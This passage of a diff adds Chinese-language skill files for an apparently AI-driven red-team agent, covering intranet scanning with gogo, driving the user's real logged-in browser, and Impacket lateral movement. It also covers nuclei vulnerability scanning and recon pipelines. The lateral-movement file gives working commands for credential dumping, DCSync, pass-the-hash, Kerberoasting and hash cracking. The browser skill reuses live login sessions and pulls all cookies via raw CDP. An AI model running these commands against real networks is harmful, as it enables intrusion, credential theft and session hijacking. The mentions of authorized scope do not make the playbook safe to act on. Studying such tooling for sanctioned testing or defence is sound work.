| default | (默认) | 单 IP / 小网段(/24 以内) |
| smart | `-m s` | /24~/16,AB 段探测 + 启发式发散 |
| supersmart | `-m ss` | /16 以上大内网,先探点再筛选网段 |
| sc | `-m sc` | 已知目标段、要更细的端口覆盖 |
```bash
gogo -i 192.168.1.0/24 -m s --ping -p top2,win,db --af
gogo -i 10.0.0.0/8 -m ss --ping -p top2,win,db --af
```
### workflow(把复杂命令存成预设)
```bash
gogo -P workflow # 列出全部 workflow
gogo -w 10 # 等价于扫 10.0.0.0/8 的 supersmart 全流程(all 端口)
gogo -w 172 # 172.16.0.0/12
gogo -w 192 # 192.168.0.0/16
gogo -w interc # 内网常见 C 段(10/172/192 三段)
gogo -w 10 -i 11.0.0.0/8 -p top2 # 命令行可覆盖 workflow 参数
```
## 参数速查(实测 v2.15.0 `-h`)
> **多字符长参数必须双横线**:`--ipp`、`--sp`、`--ef`、`--af`。单横线只给 `-i/-p/-m/-t/-d/-e/-v/-w/-F/-l/-L/-j` 这类单字符。
**输入**
```
-i/--ip 192.168.1.1/24,172.16.1.1/24 目标,逗号分隔多个
--exclude 10.0.0.1/24 --exclude-file <file>
-l <file> 目标列表文件 -L 从 stdin 读目标
-j <file> 复用上次结果(.dat)或 ip:port 列表,继续深挖 -J 从 stdin 读
```
**输出**
```
-f <file> 输出文件名 --path 输出目录
-o <fmt> 命令行输出格式 -O <fmt> 文件输出格式(默认 jsonlines)
--af 自动命名输出文件(.dat,deflate JSON Lines)
--hf 自动命名隐藏文件 -C 关闭压缩 --tee 同时保留控制台输出
-q/--quiet 关日志只留结果(联动其他工具必加)
-F <file> 格式化已有 .dat 结果
--filter / --output-filter / --scan-filter 历史过滤 / 实时过滤 / 提前停止
```
**智能扫描**
```
-m/--mod default|s|ss|sc 扫描模式
--ping 先 ICMP 过滤(大网段必须)
-n/--no 只做智能扫描,不进入默认扫描
--sp smart 端口探针(默认 80,ss 模式默认 icmp)
--ipp AB 段 IP 探针(默认 1,254)
```
**性能与隐蔽**
```
-t/--thread <n> 并发(linux 默认 4000,内网建议 200~1000)
-d/--timeout <秒> 超时(默认 2)
-D/--ssl-timeout SSL 超时
--opsec 低噪声模式(敏感环境开)
-s/--spray 端口优先喷洒(端口数 >500 自动启用)
--no-spray 强制关闭喷洒
```
**指纹与提取**
```
-v/--verbose 主动指纹识别(不发这个只有被动指纹,信息少但安静)
--ff <file> 自定义指纹库
--extract "<regex>" 自定义提取正则
gogo -P extract 查看内置提取规则(jwt / mail / idcard / phone / ip 等)
```
**漏洞(neutron 内核)**
```
-e/--exploit 开启 POC 扫描(与 -v 合用写作 -ev)
-E <name> 指定模板名 --ef <file> 指定模板文件
--payload <s> 指定 payload --attack-type sniper|clusterbomb|pitchfork
```
**代理**
```
--proxy socks5://127.0.0.1:11111 # 实测可用,走 suo5 / ssh -D 隧道
```
## 标准作业流程(SOP)
```bash
# 0) 探路
ip a; ip route; arp -a; cat /etc/hosts /etc/resolv.conf
# 1) 大网段测绘(安静、先探活、结果落文件)
./gogo -i 10.0.0.0/16 -m ss --ping -p top2,win,db --af -t 500 -d 3
# 2) 看结果(human-like)
./gogo -F ./.10.0.0.0_16_top2_win_db_ss_dat
# 3) 对存活主机上全端口 + 主动指纹
./gogo -i 10.0.1.0/24 -p - -v -t 1000 -d 3 --af
# 4) 定向打 POC(只对确认有指纹的目标)
./gogo -i 10.0.1.5,10.0.1.9 -p top2 -ev -E <模板名>
# 5) 复用上一步结果继续深挖(不用重扫)
./gogo -j ./step1.dat -p 1-65535 -v -e
```
### 走隧道测绘(内网渗透主路径)
```bash
# 前提:技能 suo5-tunnel 建好 socks5,或 vps-reverse-shell 里 ssh -D
./gogo -i 10.0.0.0/16 -m ss --ping -p top2,win,db --af \
--proxy socks5://127.0.0.1:1080 -t 300 -d 5 -q
# 实测:gogo --proxy socks5:// 会把流量真正送进隧道(经 VPS 扫到的是 VPS 的 SSH 指纹)
```
隧道场景把 `-t` 降到 300 以内、`-d` 提到 5,否则隧道会丢包误判。
## 结果落库(必须做)
gogo 的 `.dat` 是压缩 JSON Lines,先格式化再解析入库:
```bash
./gogo -F ./result.dat -o json -f result.json # 转成 JSON(实测产物结构见下)
python3 tools/parse.py result.json
# 解析要点:顶层是 {config, ip, data:[...]},每条含 ip/port/protocol/status/frameworks/title/timing
```
```python
import json
d = json.load(open('result.json', encoding='utf-8'))
for it in d.get('data', []):
fw = ','.join((it.get('frameworks') or {}).keys())
print(it.get('ip'), it.get('port'), it.get('protocol'), fw, it.get('title'))
# 实测单条:{"ip":"10.0.0.5","port":"22","protocol":"tcp","status":"open",
# "frameworks":{"ssh":{"name":"ssh","attributes":{"version":"10.3p1"}}},
# "title":"SSH-2.0-OpenS","timing":26}
```
```bash
# 入库纪律(与 fscan 相同)
redteam_asset_add { engagement, ip, port, service, title, source: "gogo", tags: [...] }
redteam_web_list # 之后由 web 指纹技能补充 URL/标题
redteam_vuln_add { engagement, target, name, severity, evidence_ref } # 必须配证据
```
**注意**:gogo 的框架/指纹结果写进 `asset` 的 `fingerprint` 字段,不要只留在终端里。
扫到的敏感信息提取结果(邮箱/身份证/JWT)属于「大量敏感信息」得分点,用 `redteam_vuln_add` +
`redteam_score_hit` 记录,证据落 `runs/`。
## 排障
| 现象 | 处理 |
| --- | --- |
| 参数报错 | 长参数用双横线(`--af` 不是 `-af`),`-P` 只接受 `port/workflow/neutron/extract` |
| 结果文件找不到 | `--af` 写在**二进制同目录**,加 `--path` 指定目录 |
| 大网段几乎没结果 | `--ping` 会漏掉禁 ping 主机;去掉 `--ping` 或改 `--ipp` 调整探针 |
| 扫描太慢 | 提高 `-t`、降低 `-d`;`-p` 换成 `top1`/`top2`;大网段用 `-m ss` |
| 被 IDS 发现 | `--opsec` + `-t 200` + `-d 3`;不要开 `-e`;不要 `-p -` |
| 隧道里大量超时 | 降 `-t`、升 `-d`,隧道带宽是瓶颈 |
| 想只看结果不看日志 | `-q`(联动其他工具必加) |
## 相关技能
- `fscan-intranet`:铺面之后的爆破与利用
- `suo5-tunnel`:WebShell → SOCKS5,给 gogo 提供 `--proxy` 入口
- `vps-reverse-shell`:隧道与载荷投递
- `web-fingerprint` / `asset-correlation`:把 gogo 的结果进一步关联成资产图谱
+86
View File
@@ -0,0 +1,86 @@
---
name: kimi-webbridge
description: 用月之暗面 Kimi 浏览器扩展(WebBridge)驱动用户真实 Chrome/Chromium:导航、读取页面、点击、填表、执行 JS、截图
whenToUse: 需要复用浏览器登录态访问后台/需要 JS 渲染的页面/需要真实浏览器指纹时
role: recon
enabled: true
---
# Kimi WebBridge(浏览器扩展 + 本地守护进程)
已安装并运行:守护进程 **v2.0.8**(systemd 服务 `kimi-webbridge`,开机自启),监听 `127.0.0.1:10086`,二进制 `~/.kimi-webbridge/bin/kimi-webbridge`。
## 当前状态(2026-09 实测)
- 守护进程:**由 systemd 管理**(`/etc/systemd/system/kimi-webbridge.service`,`enabled` + `active`,`Restart=on-failure`)。
查状态:`systemctl status kimi-webbridge`;重启用 `sudo systemctl restart kimi-webbridge`。
**不要再手动跑 `kimi-webbridge start`/`upgrade`**,那会起一个游离进程、systemd 反而变 inactive;要升级用
`sudo systemctl stop kimi-webbridge && ~/.kimi-webbridge/bin/kimi-webbridge upgrade && sudo systemctl start kimi-webbridge`。
- 扩展:**Kimi WebBridge v2.0.8,由企业策略自动从 Chrome 应用商店安装**(扩展 ID `fldmhceldgbpfpkbgopacenieobmligc`)。
策略文件 `/etc/opt/chrome/policies/managed/kimi-webbridge.json` 与 `/etc/chromium/policies/managed/kimi-webbridge.json`
都设置了 `ExtensionSettings.force_installed` + `ExtensionInstallForcelist`,所以 **Chrome / Chromium 的任何 profile 打开即自带扩展、自动更新、常驻启用**。
- Chrome 137+ 已忽略 `--load-extension`(`--disable-features=…` 的逃生口也失效),所以**不要再走解压加载路线**。
- 若 `status` 显示 `extension_connected: false`:99% 只是**没有浏览器在运行**,启动任一浏览器(`kimi-chrome` 或直接点 Chrome/Chromium 图标)后 5 秒内会自动连上。
- 简单取页面内容可优先用技能 `browser-automation`(更快、不依赖浏览器窗口);**需要复用真实登录态时必须用本技能**
## 先决条件
1. 守护进程已运行:`~/.kimi-webbridge/bin/kimi-webbridge status` 应显示 `"running": true`(开机自启,正常无需干预)。
2. **必须有一个浏览器在运行**(扩展只在浏览器进程存活时维持连接)。启动器 `~/.local/bin/kimi-chrome`:
- 默认启动 Chrome **默认 profile**(带真实登录态,桥接的价值就在这);
- `KIMI_BROWSER=chromium kimi-chrome` 改用 Chromium;`KIMI_PROFILE=/path kimi-chrome` 指定独立 profile(无登录态)。
3. 检查连接:
```bash
curl -s http://127.0.0.1:10086/status | python3 -m json.tool
# 必须看到 "extension_connected": true,否则后续命令会失败
```
## 调用方式
```bash
WB=http://127.0.0.1:10086/command
call() { printf '%s' "$2" > /tmp/wb.json; curl -s -X POST $WB -H 'Content-Type: application/json' --data-binary @/tmp/wb.json; }
```
> 含中文的 JSON 一律走临时文件 + `--data-binary`,不要用 echo/heredoc 内联。
### 常用动作
```bash
# 打开页面(新标签)
call navigate '{"action":"navigate","args":{"url":"https://target.example.com/login","newTab":true,"group_title":"recon"},"session":"recon1"}'
# 读取页面纯文本(最常用)
call evaluate '{"action":"evaluate","args":{"code":"(() => document.body.innerText.slice(0,6000))()"},"session":"recon1"}'
# 取无障碍树(带 @e 元素引用,便于后续 click/fill)
call snapshot '{"action":"snapshot","args":{},"session":"recon1"}'
# 执行任意 JS:抓前端接口清单(信息收集/接口发现神器)
call evaluate '{"action":"evaluate","args":{"code":"(() => {const s=new Set();for(const e of performance.getEntriesByType(\"resource\"))s.add(e.name);const m=document.documentElement.innerHTML.match(/[\\\"\\x27]\\/(api|v[0-9])\\/[a-zA-Z0-9_\\-\\/{}]+/g)||[];m.forEach(x=>s.add(x));return [...s].slice(0,200).join(\"\\n\")})()"},"session":"recon1"}'
# 点击 / 填表
call click '{"action":"click","args":{"ref":"@e12"},"session":"recon1"}'
call fill '{"action":"fill","args":{"ref":"@e15","value":"admin"},"session":"recon1"}'
# 截图(返回文件路径,不是 base64)
call screenshot '{"action":"screenshot","args":{"path":"$DSH_HOME/redteam/engagements/<靶标>/runs/shot.png"},"session":"recon1"}'
# 抓网络请求(找接口)
call network '{"action":"network","args":{},"session":"recon1"}'
# 列出/关闭标签
call list_tabs '{"action":"list_tabs","args":{},"session":"recon1"}'
call close_session '{"action":"close_session","args":{},"session":"recon1"}'
```
原始 CDP 透传(高级):`{"action":"cdp","args":{"method":"Network.getAllCookies"}}`。
## 在红队流程里的用法
- **接口发现**:打开站点 → `evaluate` 抓 resource timing + 页面内 JS 里的接口路径 → 把接口清单交给漏洞检测角色做越权/未授权测试。
- **登录态页面**:用户在浏览器里已登录的后台,可直接 `navigate` + `evaluate` 读取内容,无需重新登录。
- **JS 渲染站点**:比 curl 更真实,能拿到 SPA 渲染后的 DOM。
- 发现的 URL/标题照常写回 `redteam_asset_add`(`tool="kimi-webbridge"`)。
## 限制(务必知道)
- **无 headless**:必须有图形会话(本机 `DISPLAY=:10.0` 可用)。
- 只支持 Chrome/Edge;跨域 iframe 不支持;`click`/`fill` 是合成事件,验证码/银行控件无效。
- 扩展与守护进程版本强耦合:`status` 里 `update_available` 不为空就按上面的 systemd 停机 → `upgrade` → 启机流程升级守护进程;扩展由策略自动更新到最新版。
- Linux 不在官方支持矩阵(能用但不保证)。
## 无扩展时的兜底
见技能 `browser-automation`(headless chromium 零依赖方案)。
+148
View File
@@ -0,0 +1,148 @@
---
name: lateral-movement
description: 内网横向与提权:Impacket 套件(PtH/PsExec/WMI/DCOM/Kerberos/凭据转储)+ enum4linux/smbclient 信息枚举
whenToUse: 已进内网,需要用已有凭据或哈希横向到其它主机、枚举域环境、dump 凭据、找域控路径
role: internal
enabled: true
---
# 内网横向与提权(Impacket 套件)
拿到一台机器和内网可达性之后,**横向到更多主机**(`server-host`)和**找到域控/核心系统**(`central-system`)
是内网阶段的主线。本机已装 **61 个 `impacket-*` 命令**(Kali 自带),是本阶段的主力工具集。
## 本机工具
| 工具 | 路径 | 用途 |
| --- | --- | --- |
| Impacket 套件 | `/usr/bin/impacket-*`(61 个命令) | 协议级横向、凭据转储、Kerberos 攻击 |
| enum4linux | `/usr/bin/enum4linux` | SMB/域信息枚举(用户、共享、策略) |
| smbclient | `/usr/bin/smbclient` | 共享浏览与读写 |
| nbtscan | `/usr/bin/nbtscan` | NetBIOS 名称扫描 |
| proxychains4 | `/usr/bin/proxychains4` | 走隧道访问内网(**只用 `-f` 临时配置**) |
## 零、先做的事(信息决定打法)
```bash
# 1) 看我有什么(凭据/哈希/域信息)
# redteam_credential_list / redteam_access_list / redteam_asset_query
# 2) 枚举域环境(有域账号后)
impacket-GetADUsers <domain>/<user>:<pass> -dc-ip <DC_IP> -all
impacket-GetADComputers <domain>/<user>:<pass> -dc-ip <DC_IP>
enum4linux -a <target> # 无凭据也能枚举出用户/共享/策略
# 3) 共享与文件
smbclient -L //<target> -N # 空会话列共享
smbclient //<target>/<share> -U <user>%<pass> # 读共享
impacket-smbclient <domain>/<user>:<pass>@<target> # 交互式,可 cd/ls/get/put
```
**内网扫描仍用 gogo/fscan**(技能 `gogo-intranet` / `fscan-intranet`)——本技能负责"进去之后怎么走"。
## 一、凭据转储(拿到一台机器后的第一优先)
```bash
# 1) 远程 dump SAM/LSA/SECRETS(需管理员凭据)
impacket-secretsdump <domain>/<user>:<pass>@<target>
impacket-secretsdump -hashes :<NThash> <domain>/<user>@<target> # 用哈希直接 dump
# 2) 只 dump 本地 SAM
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# 3) DCSync(有域管/复制权限时,直接拿域内所有哈希)—— 直通域控的关键一步
impacket-secretsdump <domain>/<admin>:<pass>@<DC_IP> -just-dc
# 4) 抓明文/票据:配合目标侧工具(如 mimikatz)或 lsassy
# 哈希拿到后用 credential-attack 离线破解,或直接 PtH(见下)
```
**输出处理**:dump 出的 `NTLM` 哈希逐条 `redteam_credential_add`(`source=凭据转储`,
明文的口令写 `secret_value`,哈希写 `note` 或 `secret_value` 并标注类型),文件存 `runs/`。
## 二、Pass-the-Hash(PtH,不用破解直接横向)
```bash
# 命令执行
impacket-psexec -hashes :<NThash> <domain>/<user>@<target> # 交互式 SYSTEM shell(噪声大)
impacket-wmiexec -hashes :<NThash> <domain>/<user>@<target> # 半交互,噪声较小(推荐)
impacket-atexec -hashes :<NThash> <domain>/<user>@<target> "whoami" # 单命令,最安静
impacket-smbexec -hashes :<NThash> <domain>/<user>@<target> # 通过服务执行
# 拿文件
impacket-smbclient -hashes :<NThash> <domain>/<user>@<target>
# 数据库
impacket-mssqlclient -hashes :<NThash> <domain>/<user>@<target>
```
**psexec 会落地服务、噪声大、可能被杀软拦**;优先 `wmiexec`/`atexec`。
## 三、Kerberos 攻击(有域环境时)
```bash
# 1) 用户名枚举 + AS-REP 抓取(不需要密码,找不需要预认证的账号)
impacket-GetNPUsers <domain>/ -usersfile runs/users.txt -dc-ip <DC_IP> -format hashcat -outputfile runs/asrep.txt
hashcat -m 18200 runs/asrep.txt /usr/share/wordlists/rockyou.txt # 离线破解
# 2) Kerberoasting(找有 SPN 的服务账号,抓 TGS 离线破解)
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <DC_IP> -request -outputfile runs/kerberoast.txt
hashcat -m 13100 runs/kerberoast.txt /usr/share/wordlists/rockyou.txt
# 3) 票据申请与使用
impacket-getTGT <domain>/<user>:<pass> -dc-ip <DC_IP> # 申请 TGT → .ccache
export KRB5CCNAME=/path/to/user.ccache
impacket-wmiexec -k -no-pass <domain>/<user>@<target> # 用票据横向
# 4) 委派攻击(域内提权路径)
impacket-findDelegation <domain>/<user>:<pass> -dc-ip <DC_IP>
impacket-getST -spn <spn> -impersonate administrator <domain>/<user>:<pass>
```
## 四、凭据复用(比攻击快得多,永远先试)
拿到任何账号/哈希后**先横向试**,而不是急着打新漏洞:
1. 同一口令试其它主机(`wmiexec` 批量)+ 其它协议(SMB/WinRM/RDP/SSH/MSSQL/MySQL);
2. 本地管理员口令复用(同镜像批量装机的机器常同口令)——**这是内网横向命中率最高的一招**;
3. 域账号 → 试域内所有机器、共享、OA/邮件/堡垒机/运维平台后台;
4. 哈希 → PtH 到所有可达主机(写个循环,配合 `runs/hosts.txt`)。
## 五、隧道配合(内网目标不可直连时)
```bash
# 所有命令加 proxychains4,用临时配置(不要改系统配置)
cat > runs/proxychains-1080.conf <<'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080
EOF
proxychains4 -f runs/proxychains-1080.conf impacket-wmiexec -hashes :<hash> <domain>/<user>@10.0.0.5
proxychains4 -f runs/proxychains-1080.conf enum4linux -a 10.0.0.6
# ⚠️ 注意:proxychains 只代理 TCP;Kerberos 的 UDP 部分与部分反连场景需要 chisel/frp 的端口映射
```
## 六、纪律与边界
1. **收敛优先**:内网阶段的目标是**核心系统**(域控 / 堡垒机 / 运维平台 / 数据库集群 / 代码仓库 / 备份系统),
不是把每台机器都打一遍。横向只是手段,得分点是 `server-host` 与 `central-system`。
2. **噪声控制**:`psexec` 落地服务、`secretsdump` 触碰 LSASS,都会被 EDR 盯上;
优先 `wmiexec`/`atexec`,控制频率,别对整段做暴力横向。
3. **不要把自己打锁**:域账号连续失败会锁定策略;先用现成凭据复用,弱口令爆破按技能 `credential-attack` 的限流纪律。
4. **破坏性操作禁止**:不要停服务、不要改系统配置、不要删日志(除非演练明确要求且用户同意)。
5. **每台新主机都要登记**:`redteam_asset_add`(内网资产,`scope` 自动 internal),
访问成功 `redteam_access_add`,凭据 `redteam_credential_add`。
## 七、输出与落库(强制)
1. **每台成功横向的主机记分**:`redteam_score_hit`(`server-host`),`evidence` 写
「源主机 → 目标主机:端口|用什么凭据/哈希|执行结果」(如 `10.0.0.5 → 10.0.0.9:445|PtH 本地管理员哈希|whoami=nt authority\system`)。
2. **核心系统记分**:打到域控/堡垒机/运维平台/数据库集群 → `central-system`;
拿到大量数据 → `bigdata-system`(**必须写实际条数,≥100 万条才算**)。
3. **凭据落库**:`redteam_credential_add`,`source` 写清(`凭据转储`/`Kerberoasting`/`AS-REP`/`凭据复用`/`离线破解`),
`tool` 写实际命令原文,明文口令写 `secret_value`,文件路径写 `secret_ref`。
4. **访问会话落库**:`redteam_access_add`(`method=smb`/`wmi`/`pth`/`kerberos`/`ssh`/`rdp`)。
5. 每个关键动作 `redteam_chain_add`:`stage_code=internal`(内网拿权限)或 `target`(拿靶标),
**`tool` 写实际命令原文**(含 `-hashes`、`-k -no-pass` 等关键参数,以及 `proxychains4 -f ...` 前缀),
`result` 写回显摘要——报告要能照着复现。
6. **回填知识库**:验证有效的通用利用脚本 `redteam_poc_add`(带 `category` + `engagement` + `asset_target` + `verified_note`,脱敏)。
+103
View File
@@ -0,0 +1,103 @@
---
name: nuclei-scan
description: nuclei 模板化漏洞扫描:13,000+ 模板覆盖 CVE/暴露面/配置缺陷/默认口令,Nday 与 1day 的主力检测手段
whenToUse: 漏洞发现阶段拿到存活资产清单后,做 Nday/1day 批量检测;或已知组件版本想快速确认是否有现成模板
role: vuln-scan
enabled: true
---
# nuclei(模板化漏洞检测)
`nuclei` 是漏洞发现阶段的**主力**:一条命令覆盖 CVE、暴露面、错误配置、默认口令、未授权访问。
本机模板库已就位(详见下方路径),**不要上网重新找 POC**。
## 本机二进制与模板
| 项 | 值 |
| --- | --- |
| 二进制 | `/usr/bin/nuclei`(v3.11.1) |
| 模板库 | `~/.local/nuclei-templates`(**13,742 个模板**) |
| 模板版本 | v10.4.9(更新于 2026-09-18) |
| 配置 | `~/.config/nuclei/config.yaml`、`.templates-config.json` |
模板分布(写报告时按类引用):`http/` 11,364(其中 `http/cves` 4,320、`http/misconfiguration` 981、
`http/vulnerabilities` 961、`http/exposures` 707、`http/default-logins` 307)、`cloud/` 663、`file/` 447、
`network/` 282、`dast/` 251。
**更新模板**:`nuclei -update-templates`(频率不超过每周一次;更新后先跑 `-tl` 确认没坏)。
## 基本用法
```bash
# 1) 单目标快速体检(先看会命中什么,不实际打)
nuclei -u https://target.example.com -severity critical,high,medium -rl 30 -c 15
# 2) 批量:从资产库导出的存活 URL 清单
nuclei -l runs/alive-urls.txt -severity critical,high -rl 50 -c 25 \
-jsonl -o runs/nuclei-$(date +%m%d-%H%M).jsonl
# 3) 指定模板(已知组件版本 → 精确打击,命中率高、噪声小)
nuclei -u http://target:8080 -t http/cves/2021/CVE-2021-44228.yaml
nuclei -u http://target -t http/exposures/ -t http/default-logins/
# 4) 按标签(tags)批量
nuclei -l runs/alive-urls.txt -tags seeyon,weaver,panel,exposure -rl 20
# 5) 只列出会跑的模板(不发包,先评估覆盖面)
nuclei -l runs/alive-urls.txt -tags cve -tl
```
## 关键参数(本场景常用)
| 参数 | 作用 | 建议 |
| --- | --- | --- |
| `-rl` | 每秒请求上限 | 互联网侧 30–50;被 WAF 盯上后降到 5 |
| `-c` | 并发模板数 | 15–25,过高会打崩小站 |
| `-severity` | 只跑指定等级 | 演练只关心 `critical,high`(中低危不得分) |
| `-tags` / `-t` | 模板筛选 | 有指纹线索时优先用,别全量轰 |
| `-jsonl -o` | 结构化输出 | **必须落 `runs/`**,报告要引用 |
| `-proxy` | 走代理 | 降噪用 `cn-proxy-pool`;**内网目标走 suo5 隧道加 `-proxy socks5://127.0.0.1:1080`** |
| `-H` | 自定义头 | 带 Cookie/Token 测登录后功能点 |
| `-duc` | 禁用模板更新检查 | 批量跑时省时间 |
| `-stats -si 30` | 进度输出 | 长任务看进度 |
## 与知识库的配合(先查再打,禁止重复劳动)
动手前先 `redteam_poc_search`(按 CVE / 组件 / 版本 / 正文特征)——它一次查两层:**本机 POC 知识库 + 本机 nuclei 模板库**。
命中就用 `redteam_poc_get` 取全文或直接 `nuclei -t <模板>`;两层都没有才上网找,最后才手搓。
验证有效的新模板/EXP 用 `redteam_poc_add` 回填知识库(带 `category` + `engagement` + `asset_target` + `verified` + `verified_note`,脱敏本次靶标信息)。
## 降噪与自保(重要)
1. **默认 ignore 已排除危险标签**:`~/.config/nuclei/.nuclei-ignore` 里默认忽略 `dos`、`local`、`fuzz`、`bruteforce`、`txt-service`——
**不要为了"打得更全"去掉这些忽略项**,DoS 类模板会打死生产系统,直接毁掉演练。
2. **先探测后开火**:先用 `-severity critical,high` 跑一轮;命中后再对具体命中项深入,不要一上来全量。
3. **WAF/封禁处理**:被拦先降 `-rl` 到 5 并加 `--delay 1s`,换 UA(`-H "User-Agent: ..."`),
必要时用技能 `cn-proxy-pool` 换出口;**同一目标累计被封 >3 次立刻放弃**(`redteam_asset_test` status=abandoned + blocked=true),转向下一个目标。
4. **生产系统避开业务高峰**:定时任务、批量任务类模板(如触发同步/重建索引的)先在测试/预发资产上验证。
## 输出与落库(强制)
跑完立刻落库,**不要攒到最后**:
1. 读 `runs/nuclei-*.jsonl`,逐条 `redteam_vuln_add`:
- `title`(模板名 + 命中点)、`severity`、`cve`(模板带的 `classification.cve-id`)、`target`(**带端口**)、
`evidence`(命中回显/响应特征/matched-at)、`confidence=confirmed`(nuclei 命中即为已确认存在于响应层面)、
`gained`(通过它能拿到什么)、`agent=vuln-scan`。
2. **每条确认漏洞配一条 `redteam_http_evidence_add`**:请求行 + Host + 关键请求头 + 响应摘要(模板的 `curl-command` 字段可直接用)。
3. 每个关键动作 `redteam_chain_add`:`stage_code=recon` 或 `internet`,
`tool` 写**实际命令原文**(例如 `nuclei -l runs/alive-urls.txt -severity critical,high -rl 50 -jsonl -o runs/nuclei-0918.jsonl`),
`result` 写回显摘要(例如 `命中 3 条:CVE-2023-xxxx(critical)…`)。
4. 测完该资产立刻 `redteam_asset_test` 回写:`status`(testing/tested/no_surface/blocked)、`test`(追加式结论)、`surface`(还剩什么可测)。
5. **只记能得分的面**:与得分无关的信息泄露、版本暴露、CORS/CSRF、SSL 与响应头类问题**最多记一行排除结论**,不深挖、不重复跑。
## 常见坑
| 现象 | 原因 | 处理 |
| --- | --- | --- |
| 一条不命中 | 目标不是 HTTP,或模板被 ignore | 加 `-tl` 看实际跑了哪些模板;确认协议 `-t http/` vs `network/` |
| 大量 `could not resolve` | URL 清单里有死链 | 先用 `pd-httpx` 过滤存活:`pd-httpx -l all.txt -o alive-urls.txt -silent` |
| 命中一堆 low/info | severity 没限 | 演练加 `-severity critical,high,medium` |
| 目标被打挂 | 并发过高 / 跑了 dos 模板 | 降 `-rl`/`-c`;确认 ignore 文件没被动过 |
| 内网目标打不到 | 没走隧道 | 加 `-proxy socks5://127.0.0.1:<suo5端口>`(技能 `suo5-tunnel`) |
+21
View File
@@ -0,0 +1,21 @@
---
name: passive-recon
description: 被动信息收集:不接触目标主机,仅使用公开数据源
whenToUse: 需要在不暴露自身的情况下收集目标资产情报时
role: recon
enabled: true
---
## 数据源
- 证书透明日志(crt.sh):`curl -s "https://crt.sh/?q=%25.<domain>&output=json" | jq -r '.[].name_value' | sort -u`
- DNS 记录:`dig +short <domain> A/AAAA/MX/TXT/NS`
- whois:注册人、网段、ASN
- 搜索引擎与代码托管平台:泄露的子域、密钥、内部地址
- 公开端口测绘数据(Shodan/Censys/FOFA 等,需授权 API)
## 落库要求
每条发现调用 redteam_asset_upsert,provenance 固定为 `passive`,tool 记录具体数据源。
+111
View File
@@ -0,0 +1,111 @@
---
name: recon-pipeline
description: ProjectDiscovery 信息收集流水线:subfinder→dnsx→naabu→httpx→katana 一键铺开域名资产面
whenToUse: 信息收集阶段拿到域名/单位名后,系统化铺开子域→解析→端口→存活→页面与接口
role: recon
enabled: true
---
# 外部信息收集流水线(ProjectDiscovery)
把"一个域名"变成"一份带标题、技术栈、端口的存活资产清单",是信息收集阶段的标准动作。
四个工具**有固定顺序**:先枚举子域 → 再解析 → 再探端口 → 再判存活 → 最后抓页面与接口。
## 本机工具
| 工具 | 路径 | 版本 | 作用 |
| --- | --- | --- | --- |
| subfinder | `$DSH_HOME/redteam/toolkit/subfinder/subfinder` | v2.16.0 | 被动子域枚举(多源聚合) |
| dnsx | `$DSH_HOME/redteam/toolkit/dnsx/dnsx` | v1.3.1 | 批量解析、DNS 爆破、泛解析过滤 |
| naabu | `$DSH_HOME/redteam/toolkit/naabu/naabu` | v2.6.1 | 高速端口扫描(SYN 需 root,否则 `-scan-type c`) |
| httpx | `$DSH_HOME/redteam/toolkit/httpx/httpx`(包装器 `~/.local/bin/pd-httpx`) | v1.12.0 | HTTP 存活/标题/技术栈/状态码 |
| katana | ❌ 未安装(如需抓取用技能 `browser-automation`) | — | 爬虫抓页面与接口 |
| ksubdomain | `$DSH_HOME/redteam/toolkit/ksubdomain/ksubdomain` | v0.7 | 无状态子域爆破(比 dnsx 爆破快) |
| OneForAll | `$DSH_HOME/redteam/toolkit/oneforall/OneForAll-0.4.5/`(源码,需 `.venv`) | v0.4.5 | 子域收集全家桶(字典大,慢但全) |
> ⚠️ **`/usr/bin/httpx` 是 Python httpx 库的 CLI,不是 ProjectDiscovery 的**——必须用 `pd-httpx` 或绝对路径。
## 标准流水线
```bash
mkdir -p runs
TK=$DSH_HOME/redteam/toolkit
D=example.com
# ① 子域枚举(被动,多源)
$TK/subfinder/subfinder -d $D -all -silent -o runs/subfinder-$D.txt
# 补充:无状态爆破(有字典时)
# $TK/ksubdomain/ksubdomain -d $D -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
# ② 泛解析过滤 + 解析存活(dnsx 会剔除泛解析噪声,这一步很关键)
cat runs/subfinder-$D.txt | $TK/dnsx/dnsx -silent -a -resp -o runs/dnsx-$D.txt
awk '{print $1}' runs/dnsx-$D.txt | sort -u > runs/alive-domains-$D.txt
# ③ 端口扫描(先 top100 快速过一遍,再对存活主机扫全端口)
$TK/naabu/naabu -l runs/alive-domains-$D.txt -top-ports 100 -silent -o runs/naabu-$D.txt
# 全端口(慢,确认在范围内再做):-p - -rate 1000
# ④ HTTP 存活与指纹(标题/状态码/技术栈/服务器)
$TK/httpx/httpx -l runs/alive-domains-$D.txt -ports 80,443,8080,8443,8000,8888,9000 \
-title -status-code -tech-detect -web-server -follow-redirects -silent \
-json -o runs/httpx-$D.jsonl
# ⑤ 整理成资产清单(URL 清单给目录爆破/漏洞扫描用)
python3 - <<'PY'
import json
out=set()
for line in open('runs/httpx-'+'$D'+'.jsonl'):
try: j=json.loads(line)
except: continue
if j.get('url'): out.add(j['url'])
open('runs/alive-urls.txt','w').write('\n'.join(sorted(out)))
print('存活 URL:', len(out))
PY
```
## 单条命令速查(不想跑全流程时)
```bash
# 只要子域
$TK/subfinder/subfinder -d example.com -all -silent
# 只要存活 URL(已有域名清单)
pd-httpx -l domains.txt -silent -o alive.txt
# 只要端口(单 IP,全端口)
nmap -sS -p- --min-rate 1000 -T4 1.2.3.4 -oX runs/nmap-1.2.3.4.xml # 技能 active-scan
$TK/naabu/naabu -host 1.2.3.4 -p - -rate 1000 -silent
```
## 与其它技能的分工
| 场景 | 用哪个 |
| --- | --- |
| 单位名/域名 → 互联网资产面(含未备案、同主体) | **`fofa-recon`**(测绘,找得最全) |
| 域名 → 子域 → 存活 → 指纹 | **本技能**(流水线,标准化) |
| 不接触目标(纯被动) | `passive-recon`(crt.sh/dig/whois) |
| 内网大网段测绘 | `gogo-intranet`(**不要用本技能打内网**) |
| SP​A/JS 渲染页面、接口清单 | `browser-automation` / `kimi-webbridge` |
| 存活主机端口/服务版本 | `active-scan`(nmap/masscan) |
**推荐顺序**:`fofa-recon` 铺面(拿单位资产全景)→ 本技能对每个域名做流水线(拿存活与指纹)→ `active-scan` 对重点 IP 定版本。
## 纪律
1. **只测授权范围内目标**:naabu 全端口、ksubdomain 爆破都属于**主动**行为,确认在范围内再做。
